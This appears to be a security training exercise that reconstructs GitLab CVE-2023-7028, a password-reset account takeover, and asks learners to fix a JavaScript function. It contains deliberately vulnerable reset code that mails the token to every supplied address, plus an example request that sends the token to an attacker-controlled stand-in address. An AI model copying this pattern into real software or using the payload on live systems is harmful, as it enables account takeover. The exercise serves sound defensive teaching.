The Password Reset Sent to a Second Address — JavaScript Bug Hunt
Modelled on GitLab CVE-2023-7028, disclosed in January 2024 with the maximum CVSS score of 10.
- Language: JavaScript
- Layer: Backend
- Difficulty: Hard
- Concepts: Security, Auth, Validation
- Modelled on: GitLab · CVE-2023-7028
- Visible tests: a normal reset goes to the account's address; an array of addresses is refused
- Reward: 50 XP for a complete fix
Briefing
Modelled on GitLab CVE-2023-7028, disclosed in January 2024 with the maximum CVSS score of 10. The password-reset form's email parameter could carry more than one address, and GitLab sent the reset link to all of them — including an address the attacker controlled that had never been verified on the account. Supplying the victim's address alongside one's own was enough to take over the account (unless it had two-factor authentication). The bug had been introduced by a change to email handling in GitLab 16.1 in May 2023.
This reconstruction's reset.js accepts a string or an array, finds the account through any listed address, and mails every address it was given.
Fix requestReset so the link can only ever go to the account's own verified address.
Bug report
BUG-GL7028 · Priority: Critical (account takeover) · Reported by: bug bounty
requestReset(params, users, mailer, makeToken):
- params.email must be a single string; an array, object, number or missing value -> { ok: false, error: "invalid_email" } and nothing is sent
- the string is matched against user.email ignoring case and surrounding whitespace
- if it matches a user whose emailVerified is true, send exactly ONE mail: mailer.send(user.email, makeToken(user.id)) — to the address stored on the account, never to the spelling the request used
- matched-but-unverified or unknown addresses send nothing
- every well-formed request answers { ok: true } (no account enumeration)
Observed: email[]=victim@corp.example&email[]=attacker@evil.example mails the victim's reset token to the attacker.
Logs
[reset] user=1 token issued; mailed to victim@corp.example, attacker@evil.exampleThe code as shipped
src/accounts/reset.js (editable)
function findByEmail(users, email) {
for (var i = 0; i < users.length; i++) {
if (users[i].email === email) return users[i];
}
return null;
}
// Sends a password-reset link. Answers { ok: true } whether or not the
// address is known, so the endpoint cannot be used to discover accounts.
exports.requestReset = function (params, users, mailer, makeToken) {
var emails = [].concat(params.email);
var user = null;
for (var i = 0; i < emails.length && !user; i++) user = findByEmail(users, emails[i]);
if (!user) return { ok: true };
var token = makeToken(user.id);
emails.forEach(function (to) { mailer.send(to, token); });
return { ok: true };
};
Read-only context: src/accounts/fixtures.js.
Open the hunt to edit the files, run the visible tests and submit against the hidden ones. More JavaScript bug hunts.